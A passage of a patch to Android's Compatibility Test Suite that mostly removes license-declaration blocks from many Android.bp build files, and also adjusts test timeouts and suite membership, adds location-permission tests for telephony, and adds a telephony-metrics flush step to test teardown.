android_test {
name: "CtsSyncManagerTestsCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/syncmanager/AndroidTest.xml b/tests/tests/syncmanager/AndroidTest.xml
index 4c53d79..72e13ae 100644
--- a/tests/tests/syncmanager/AndroidTest.xml
+++ b/tests/tests/syncmanager/AndroidTest.xml
@@ -48,6 +48,8 @@
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.content.syncmanager.cts" />
- <option name="runtime-hint" value="10m00s" />
+ <!-- max timeout of 10 min for each test -->
+ <option name="test-timeout" value="600000" />
+ <option name="runtime-hint" value="20m00s" />
</test>
</configuration>
diff --git a/tests/tests/syncmanager/apps/Android.bp b/tests/tests/syncmanager/apps/Android.bp
index cbcfe29..d759221 100644
--- a/tests/tests/syncmanager/apps/Android.bp
+++ b/tests/tests/syncmanager/apps/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsSyncManagerApp1",
defaults: ["cts_defaults"],
diff --git a/tests/tests/syncmanager/common/Android.bp b/tests/tests/syncmanager/common/Android.bp
index 2eadf26..a5e8733 100644
--- a/tests/tests/syncmanager/common/Android.bp
+++ b/tests/tests/syncmanager/common/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "CtsSyncManagerCommon",
srcs: [
diff --git a/tests/tests/systemintents/Android.bp b/tests/tests/systemintents/Android.bp
index 9b17b4f..b3def56 100644
--- a/tests/tests/systemintents/Android.bp
+++ b/tests/tests/systemintents/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSystemIntentTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/systemui/Android.bp b/tests/tests/systemui/Android.bp
index 011dbfd..22ee8a3 100644
--- a/tests/tests/systemui/Android.bp
+++ b/tests/tests/systemui/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSystemUiTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/Android.bp b/tests/tests/telecom/Android.bp
index 437743a..feb5e8f 100644
--- a/tests/tests/telecom/Android.bp
+++ b/tests/tests/telecom/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "car-mode-app-srcs",
srcs: [
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp b/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp
index 0baaeb2..74b42aa 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "Api29InCallServiceTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp b/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp
index 413066a..632a714 100644
--- a/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp
+++ b/tests/tests/telecom/CallRedirectionServiceTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CallRedirectionServiceTestApp",
srcs: [
diff --git a/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp b/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp
index 878eddd..79bf603 100644
--- a/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp
+++ b/tests/tests/telecom/CallScreeningServiceTestApp/Android.bp
@@ -17,10 +17,6 @@
// package name which does not conflict with the CallScreeningService
// associated with the CTS InCallService.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CallScreeningServiceTestApp",
srcs: [
diff --git a/tests/tests/telecom/CarModeTestApp/Android.bp b/tests/tests/telecom/CarModeTestApp/Android.bp
index 9483bde..53ea07e 100644
--- a/tests/tests/telecom/CarModeTestApp/Android.bp
+++ b/tests/tests/telecom/CarModeTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CarModeTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/CarModeTestAppTwo/Android.bp b/tests/tests/telecom/CarModeTestAppTwo/Android.bp
index 55abd0b..4ab49df 100644
--- a/tests/tests/telecom/CarModeTestAppTwo/Android.bp
+++ b/tests/tests/telecom/CarModeTestAppTwo/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CarModeTestAppTwo",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp b/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp
index 9bdf9cc..6bab5a65 100644
--- a/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp
+++ b/tests/tests/telecom/ThirdPtyDialerTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "ThirdPtyDialerTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp
index c99ef76..49bad5c 100644
--- a/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp
+++ b/tests/tests/telecom/ThirdPtyDialerTestAppTwo/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "ThirdPtyDialerTestAppTwo",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp
index 363b4ab..faf7305 100644
--- a/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp
+++ b/tests/tests/telecom/ThirdPtyInCallServiceTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "ThirdPtyInCallServiceTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom2/Android.bp b/tests/tests/telecom2/Android.bp
index c86b7ae..abc14a8 100644
--- a/tests/tests/telecom2/Android.bp
+++ b/tests/tests/telecom2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTelecomTestCases2",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telecom3/Android.bp b/tests/tests/telecom3/Android.bp
index 84bcd1b..1b87231 100644
--- a/tests/tests/telecom3/Android.bp
+++ b/tests/tests/telecom3/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
res_dirs = ["../telecom/res"]
android_test {
name: "CtsTelecomTestCases3",
diff --git a/tests/tests/telephony/TestFinancialSmsApp/Android.bp b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
index 4957a53..9d1a7fd 100644
--- a/tests/tests/telephony/TestFinancialSmsApp/Android.bp
+++ b/tests/tests/telephony/TestFinancialSmsApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "TestFinancialSmsApp",
@@ -30,4 +26,4 @@
"general-tests",
"mts",
],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp/Android.bp b/tests/tests/telephony/TestSmsApp/Android.bp
index 694d835..b2f5775 100644
--- a/tests/tests/telephony/TestSmsApp/Android.bp
+++ b/tests/tests/telephony/TestSmsApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "TestSmsApp",
sdk_version: "test_current",
@@ -31,4 +27,4 @@
"general-tests",
"mts",
],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsApp22/Android.bp b/tests/tests/telephony/TestSmsApp22/Android.bp
index 95a0872..3a0b476 100644
--- a/tests/tests/telephony/TestSmsApp22/Android.bp
+++ b/tests/tests/telephony/TestSmsApp22/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "TestSmsApp22",
sdk_version: "test_current",
@@ -31,4 +27,4 @@
"general-tests",
"mts",
],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
index 2ae8c7a..ac83a84 100644
--- a/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
+++ b/tests/tests/telephony/TestSmsRetrieverApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "TestSmsRetrieverApp",
@@ -30,4 +26,4 @@
"general-tests",
"mts",
],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 1876bc7..aa02099 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
filegroup {
name: "telephony-cts-ims-common-srcs",
srcs: [
diff --git a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
index b112018..fb79bb1 100644
--- a/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
+++ b/tests/tests/telephony/current/EmbmsMiddlewareTestApp/Android.bp
@@ -14,10 +14,6 @@
// Build the Sample Embms Services
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "EmbmsMiddlewareCtsTestApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/LocationAccessingApp/Android.bp b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
index 1807b4f..4721538 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/Android.bp
+++ b/tests/tests/telephony/current/LocationAccessingApp/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "LocationAccessingApp",
defaults: ["cts_defaults"],
@@ -25,4 +21,4 @@
"src/**/*.java",
"aidl/**/I*.aidl",
],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp b/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
index 1bb3967..2635472 100644
--- a/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
+++ b/tests/tests/telephony/current/LocationAccessingApp/sdk28/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "LocationAccessingAppSdk28",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
index e3f9bd5..eb77c19 100644
--- a/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
+++ b/tests/tests/telephony/current/TestExternalImsServiceApp/Android.bp
@@ -1,7 +1,3 @@
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "TestExternalImsServiceApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/permissions/Android.bp b/tests/tests/telephony/current/permissions/Android.bp
index e6e7541..ebd04ce 100644
--- a/tests/tests/telephony/current/permissions/Android.bp
+++ b/tests/tests/telephony/current/permissions/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTelephonyTestCasesPermissionReadPhoneState",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/preconditions/Android.bp b/tests/tests/telephony/current/preconditions/Android.bp
index bf62f00..ddb3262 100644
--- a/tests/tests/telephony/current/preconditions/Android.bp
+++ b/tests/tests/telephony/current/preconditions/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_helper_library {
name: "compatibility-host-telephony-preconditions",
diff --git a/tests/tests/telephony/current/preconditions/app/Android.bp b/tests/tests/telephony/current/preconditions/app/Android.bp
index 813802e..debc2e3 100644
--- a/tests/tests/telephony/current/preconditions/app/Android.bp
+++ b/tests/tests/telephony/current/preconditions/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsTelephonyPreparerApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index b3b4feb..78561b5 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -126,6 +126,7 @@
@AfterClass
public static void tearDownClass() throws Exception {
if (!isSupported()) return;
+ TelephonyUtils.flushTelephonyMetrics(InstrumentationRegistry.getInstrumentation());
}
@Before
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
index abe76b8..ed9b38d 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
@@ -1,5 +1,7 @@
package android.telephony.cts;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -132,6 +134,28 @@
}
@Test
+ public void testSdk28ServiceStateListeningWithoutPermissions() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ ServiceState ss = (ServiceState) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+ assertNotNull(ss);
+ assertNotEquals(ss, ss.createLocationInfoSanitizedCopy(false));
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ ServiceState ss1 = (ServiceState) performLocationAccessCommand(
+ CtsLocationAccessService
+ .COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+ assertNotNull(ss1);
+ assertNotEquals(ss1, ss1.createLocationInfoSanitizedCopy(true));
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ },
+ Manifest.permission.ACCESS_FINE_LOCATION);
+ }
+
+ @Test
public void testRegistryPermissionsForCellLocation() {
if (!mShouldTest) return;
@@ -151,6 +175,18 @@
}
@Test
+ public void testSdk28RegistryPermissionsForCellLocation() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ CellLocation cellLocation = (CellLocation) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_LISTEN_CELL_LOCATION);
+ assertNull(cellLocation);
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ }
+
+ @Test
public void testRegistryPermissionsForCellInfo() {
if (!mShouldTest) return;
@@ -170,6 +206,18 @@
}
@Test
+ public void testSdk28RegistryPermissionsForCellInfo() {
+ if (!mShouldTest) return;
+
+ withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+ List<CellInfo> cis = (List<CellInfo>) performLocationAccessCommand(
+ CtsLocationAccessService.COMMAND_LISTEN_CELL_INFO);
+ assertTrue(cis == null || cis.isEmpty());
+ },
+ Manifest.permission.ACCESS_COARSE_LOCATION);
+ }
+
+ @Test
public void testSdk28CellLocation() {
if (!mShouldTest) return;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
index 6b75746..313dd8b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyUtils.java
@@ -36,6 +36,9 @@
private static final String COMMAND_END_BLOCK_SUPPRESSION = "cmd phone end-block-suppression";
+ private static final String COMMAND_FLUSH_TELEPHONY_METRICS =
+ "/system/bin/dumpsys activity service TelephonyDebugService --metricsproto";
+
public static void addTestEmergencyNumber(Instrumentation instr, String testNumber)
throws Exception {
executeShellCommand(instr, COMMAND_ADD_TEST_EMERGENCY_NUMBER + testNumber);
@@ -50,6 +53,10 @@
executeShellCommand(instr, COMMAND_END_BLOCK_SUPPRESSION);
}
+ public static void flushTelephonyMetrics(Instrumentation instr) throws Exception {
+ executeShellCommand(instr, COMMAND_FLUSH_TELEPHONY_METRICS);
+ }
+
public static boolean isSkt(TelephonyManager telephonyManager) {
return isOperator(telephonyManager, "45005");
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp b/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp
index 723278f..37e05cf 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp
+++ b/tests/tests/telephony/current/src/android/telephony/cts/util/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "telephony-cts-utils",
srcs: [
@@ -24,4 +20,4 @@
libs: [
"compatibility-device-util-axt",
],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/sdk28/Android.bp b/tests/tests/telephony/sdk28/Android.bp
index bf23f39..2a3ecd1 100644
--- a/tests/tests/telephony/sdk28/Android.bp
+++ b/tests/tests/telephony/sdk28/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTelephonySdk28TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony2/Android.bp b/tests/tests/telephony2/Android.bp
index 0765992..19a4fad 100644
--- a/tests/tests/telephony2/Android.bp
+++ b/tests/tests/telephony2/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTelephony2TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony3/Android.bp b/tests/tests/telephony3/Android.bp
index d520461..7249851 100644
--- a/tests/tests/telephony3/Android.bp
+++ b/tests/tests/telephony3/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTelephony3TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony4/Android.bp b/tests/tests/telephony4/Android.bp
index 8cd8a33..08097b5 100644
--- a/tests/tests/telephony4/Android.bp
+++ b/tests/tests/telephony4/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsSimRestrictedApisTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/telephony4/certs/Android.bp b/tests/tests/telephony4/certs/Android.bp
index 3d40a48..96bea9e 100644
--- a/tests/tests/telephony4/certs/Android.bp
+++ b/tests/tests/telephony4/certs/Android.bp
@@ -1,14 +1,5 @@
-package {
- // See: http://go/android-license-faq
- // A large-scale-change added 'default_applicable_licenses' to import
- // all of the 'license_kinds' from "cts_license"
- // to get the below license kinds:
- // SPDX-license-identifier-Apache-2.0
- // SPDX-license-identifier-NCSA
- default_applicable_licenses: ["cts_license"],
-}
-
android_app_certificate {
name: "android_telephony_cts_testkey",
certificate: "android_telephony_cts_testkey",
}
+
diff --git a/tests/tests/telephonyprovider/Android.bp b/tests/tests/telephonyprovider/Android.bp
index 90b02ae..59d3cbc 100644
--- a/tests/tests/telephonyprovider/Android.bp
+++ b/tests/tests/telephonyprovider/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTelephonyProviderTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/text/Android.bp b/tests/tests/text/Android.bp
index 841f4bf..0a7d918 100644
--- a/tests/tests/text/Android.bp
+++ b/tests/tests/text/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTextTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/text/jni/Android.bp b/tests/tests/text/jni/Android.bp
index 2d32210..7821605 100644
--- a/tests/tests/text/jni/Android.bp
+++ b/tests/tests/text/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library {
name: "libctstext_jni",
sdk_version: "current",
diff --git a/tests/tests/textclassifier/Android.bp b/tests/tests/textclassifier/Android.bp
index 6a536ec..ab6104e 100644
--- a/tests/tests/textclassifier/Android.bp
+++ b/tests/tests/textclassifier/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTextClassifierTestCases",
defaults: ["cts_defaults"],
@@ -25,7 +21,7 @@
test_suites: [
"cts",
"general-tests",
- "mts"
+ "mts-extservices"
],
libs: ["android.test.base"],
static_libs: [
diff --git a/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp b/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
index 2120ed3..ccc9362 100644
--- a/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
+++ b/tests/tests/textclassifier/QueryTextClassifierServiceActivity/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsQueryTextClassifierServiceActivity",
defaults: ["cts_defaults"],
@@ -29,4 +25,4 @@
"mts"
],
srcs: ["src/**/*.java"],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/theme/Android.bp b/tests/tests/theme/Android.bp
index 33f5c58..20a8ce2 100644
--- a/tests/tests/theme/Android.bp
+++ b/tests/tests/theme/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsThemeDeviceTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/toast/Android.bp b/tests/tests/toast/Android.bp
index 24c62dc0..aa85ab9 100644
--- a/tests/tests/toast/Android.bp
+++ b/tests/tests/toast/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsToastTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/toastlegacy/Android.bp b/tests/tests/toastlegacy/Android.bp
index cc80890..a558405 100644
--- a/tests/tests/toastlegacy/Android.bp
+++ b/tests/tests/toastlegacy/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsToastLegacyTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/tools/processors/view_inspector/Android.bp b/tests/tests/tools/processors/view_inspector/Android.bp
index 1d6d509..7b39403 100644
--- a/tests/tests/tools/processors/view_inspector/Android.bp
+++ b/tests/tests/tools/processors/view_inspector/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsViewInspectorAnnotationProcessorTestCases",
sdk_version: "test_current",
diff --git a/tests/tests/transition/Android.bp b/tests/tests/transition/Android.bp
index 34dcd0c..35cd22a 100644
--- a/tests/tests/transition/Android.bp
+++ b/tests/tests/transition/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTransitionTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/tv/Android.bp b/tests/tests/tv/Android.bp
index aeaa943..93e4be3 100644
--- a/tests/tests/tv/Android.bp
+++ b/tests/tests/tv/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTvTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/uiautomation/Android.bp b/tests/tests/uiautomation/Android.bp
index b4d80a8..9254d27 100644
--- a/tests/tests/uiautomation/Android.bp
+++ b/tests/tests/uiautomation/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsUiAutomationTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/uidisolation/Android.bp b/tests/tests/uidisolation/Android.bp
index 5e5593e..0dbac1a 100644
--- a/tests/tests/uidisolation/Android.bp
+++ b/tests/tests/uidisolation/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsUidIsolationTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/uirendering/Android.bp b/tests/tests/uirendering/Android.bp
index c8e62b6..c014aa6 100644
--- a/tests/tests/uirendering/Android.bp
+++ b/tests/tests/uirendering/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsUiRenderingTestCases",
sdk_version: "test_current",
diff --git a/tests/tests/uirendering27/Android.bp b/tests/tests/uirendering27/Android.bp
index 1db958c..07bc405 100644
--- a/tests/tests/uirendering27/Android.bp
+++ b/tests/tests/uirendering27/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsUiRenderingTestCases27",
sdk_version: "test_current",
diff --git a/tests/tests/usb/Android.bp b/tests/tests/usb/Android.bp
index 2a93d18..5195233 100644
--- a/tests/tests/usb/Android.bp
+++ b/tests/tests/usb/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsUsbManagerTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/util/Android.bp b/tests/tests/util/Android.bp
index 0c5de3a..f2fa420 100644
--- a/tests/tests/util/Android.bp
+++ b/tests/tests/util/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsUtilTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/vcn/Android.bp b/tests/tests/vcn/Android.bp
index ecb1236..5666ee7 100644
--- a/tests/tests/vcn/Android.bp
+++ b/tests/tests/vcn/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsVcnTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/view/jni/Android.bp b/tests/tests/view/jni/Android.bp
index 484a6dd..0038178 100644
--- a/tests/tests/view/jni/Android.bp
+++ b/tests/tests/view/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
